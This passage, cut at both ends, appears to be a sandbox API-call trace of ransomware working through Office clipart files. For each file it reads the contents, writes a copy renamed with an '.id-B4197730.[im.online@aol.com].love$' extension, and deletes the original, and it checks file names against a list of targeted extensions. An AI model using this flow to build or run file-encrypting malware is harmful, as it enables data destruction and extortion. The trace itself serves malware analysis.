lpNewFilePointer=0x0) returned 1 [0119.382] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0119.383] GetLastError () returned 0x0 [0119.383] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x2420, lpOverlapped=0x0) returned 1 [0119.385] WriteFile (in: hFile=0x370, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x2430, lpOverlapped=0x0) returned 1 [0119.386] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0119.386] WriteFile (in: hFile=0x370, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0119.386] SetEndOfFile (hFile=0x370) returned 1 [0119.386] CloseHandle (hObject=0x370) returned 1 [0119.388] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.388] SetEndOfFile (hFile=0x364) returned 1 [0119.389] CloseHandle (hObject=0x364) returned 1 [0119.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0119.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0119.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0119.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0119.390] lstrlenW (lpString=".doc") returned 4 [0119.390] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.390] lstrlenW (lpString=".docx") returned 5 [0119.390] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.391] lstrlenW (lpString=".pdf") returned 4 [0119.391] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.391] lstrlenW (lpString=".xls") returned 4 [0119.391] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.391] lstrlenW (lpString=".xlsx") returned 5 [0119.391] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.391] lstrlenW (lpString=".ppt") returned 4 [0119.391] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0119.391] lstrlenW (lpString=".zip") returned 4 [0119.391] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.391] lstrlenW (lpString=".rar") returned 4 [0119.391] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.391] lstrlenW (lpString=".bz2") returned 4 [0119.391] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.391] lstrlenW (lpString=".7z") returned 3 [0119.391] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0119.391] lstrlenW (lpString=".dbf") returned 4 [0119.391] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0119.391] lstrlenW (lpString=".1cd") returned 4 [0119.391] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0119.391] lstrlenW (lpString=".jpg") returned 4 [0119.391] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0119.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0119.392] lstrlenW (lpString=".doc") returned 4 [0119.392] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.392] lstrlenW (lpString=".docx") returned 5 [0119.392] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.392] lstrlenW (lpString=".pdf") returned 4 [0119.392] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.392] lstrlenW (lpString=".xls") returned 4 [0119.392] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.392] lstrlenW (lpString=".xlsx") returned 5 [0119.392] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.392] lstrlenW (lpString=".ppt") returned 4 [0119.392] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0119.392] lstrlenW (lpString=".zip") returned 4 [0119.392] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.392] lstrlenW (lpString=".rar") returned 4 [0119.392] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.392] lstrlenW (lpString=".bz2") returned 4 [0119.392] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.392] lstrlenW (lpString=".7z") returned 3 [0119.392] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0119.392] lstrlenW (lpString=".dbf") returned 4 [0119.392] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0119.392] lstrlenW (lpString=".1cd") returned 4 [0119.393] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0119.393] lstrlenW (lpString=".jpg") returned 4 [0119.393] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.393] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0119.393] lstrlenW (lpString="AG00171_.GIF") returned 12 [0119.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0119.393] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=5016) returned 1 [0119.393] CloseHandle (hObject=0x364) returned 1 [0119.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220 [0119.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0119.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0119.394] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.394] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0119.395] GetLastError () returned 0x0 [0119.395] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x1398, lpOverlapped=0x0) returned 1 [0119.406] WriteFile (in: hFile=0x370, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x13a0, lpOverlapped=0x0) returned 1 [0119.407] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0119.407] WriteFile (in: hFile=0x370, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0119.407] SetEndOfFile (hFile=0x370) returned 1 [0119.408] CloseHandle (hObject=0x370) returned 1 [0119.412] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.412] SetEndOfFile (hFile=0x364) returned 1 [0119.413] CloseHandle (hObject=0x364) returned 1 [0119.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0119.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0119.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0119.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0119.965] lstrlenW (lpString=".doc") returned 4 [0119.966] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.966] lstrlenW (lpString=".docx") returned 5 [0119.966] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.968] lstrlenW (lpString=".pdf") returned 4 [0119.968] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.968] lstrlenW (lpString=".xls") returned 4 [0119.968] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.968] lstrlenW (lpString=".xlsx") returned 5 [0119.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.968] lstrlenW (lpString=".ppt") returned 4 [0119.968] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0119.968] lstrlenW (lpString=".zip") returned 4 [0119.968] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.968] lstrlenW (lpString=".rar") returned 4 [0119.968] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.968] lstrlenW (lpString=".bz2") returned 4 [0119.969] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.969] lstrlenW (lpString=".7z") returned 3 [0119.969] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0119.973] lstrlenW (lpString=".dbf") returned 4 [0119.973] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0119.973] lstrlenW (lpString=".1cd") returned 4 [0119.973] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0119.973] lstrlenW (lpString=".jpg") returned 4 [0119.973] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0119.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0119.973] lstrlenW (lpString=".doc") returned 4 [0119.973] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.974] lstrlenW (lpString=".docx") returned 5 [0119.974] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.974] lstrlenW (lpString=".pdf") returned 4 [0119.974] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.974] lstrlenW (lpString=".xls") returned 4 [0119.974] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.974] lstrlenW (lpString=".xlsx") returned 5 [0119.974] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.974] lstrlenW (lpString=".ppt") returned 4 [0119.974] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0119.974] lstrlenW (lpString=".zip") returned 4 [0119.974] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.974] lstrlenW (lpString=".rar") returned 4 [0119.974] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.974] lstrlenW (lpString=".bz2") returned 4 [0119.974] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.974] lstrlenW (lpString=".7z") returned 3 [0119.974] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0119.974] lstrlenW (lpString=".dbf") returned 4 [0119.974] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0119.974] lstrlenW (lpString=".1cd") returned 4 [0119.974] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0119.974] lstrlenW (lpString=".jpg") returned 4 [0119.974] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.975] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0119.975] lstrlenW (lpString="AN00790_.WMF") returned 12 [0119.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0119.976] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=5684) returned 1 [0119.976] CloseHandle (hObject=0x364) returned 1 [0119.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220 [0119.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0119.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0119.977] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.977] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0119.977] GetLastError () returned 0x0 [0119.977] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x1634, lpOverlapped=0x0) returned 1 [0119.981] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x1640, lpOverlapped=0x0) returned 1 [0119.982] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0119.982] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0119.982] SetEndOfFile (hFile=0x34c) returned 1 [0119.983] CloseHandle (hObject=0x34c) returned 1 [0119.984] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.984] SetEndOfFile (hFile=0x364) returned 1 [0119.985] CloseHandle (hObject=0x364) returned 1 [0119.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0119.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0119.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0119.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0119.986] lstrlenW (lpString=".doc") returned 4 [0119.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0119.986] lstrlenW (lpString=".docx") returned 5 [0119.986] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0119.986] lstrlenW (lpString=".pdf") returned 4 [0119.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0119.986] lstrlenW (lpString=".xls") returned 4 [0119.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0119.986] lstrlenW (lpString=".xlsx") returned 5 [0119.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0119.986] lstrlenW (lpString=".ppt") returned 4 [0119.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0119.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0119.986] lstrlenW (lpString=".zip") returned 4 [0119.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0119.987] lstrlenW (lpString=".rar") returned 4 [0119.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0119.987] lstrlenW (lpString=".bz2") returned 4 [0119.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0119.987] lstrlenW (lpString=".7z") returned 3 [0119.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0119.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0119.987] lstrlenW (lpString=".dbf") returned 4 [0119.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0119.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0119.987] lstrlenW (lpString=".1cd") returned 4 [0119.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0119.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0119.987] lstrlenW (lpString=".jpg") returned 4 [0119.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0119.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0119.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0119.987] lstrlenW (lpString=".doc") returned 4 [0119.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0119.987] lstrlenW (lpString=".docx") returned 5 [0119.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0119.987] lstrlenW (lpString=".pdf") returned 4 [0119.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0119.987] lstrlenW (lpString=".xls") returned 4 [0119.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0119.987] lstrlenW (lpString=".xlsx") returned 5 [0119.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0119.987] lstrlenW (lpString=".ppt") returned 4 [0119.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0119.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0119.988] lstrlenW (lpString=".zip") returned 4 [0119.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0119.988] lstrlenW (lpString=".rar") returned 4 [0119.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0119.988] lstrlenW (lpString=".bz2") returned 4 [0119.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0119.988] lstrlenW (lpString=".7z") returned 3 [0119.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0119.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0119.988] lstrlenW (lpString=".dbf") returned 4 [0119.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0119.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0119.988] lstrlenW (lpString=".1cd") returned 4 [0119.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0119.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0119.988] lstrlenW (lpString=".jpg") returned 4 [0119.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0119.988] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0119.988] lstrlenW (lpString="AN00853_.WMF") returned 12 [0119.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0119.989] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=20578) returned 1 [0119.989] CloseHandle (hObject=0x364) returned 1 [0119.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220 [0119.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0119.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0119.989] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.989] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0119.990] GetLastError () returned 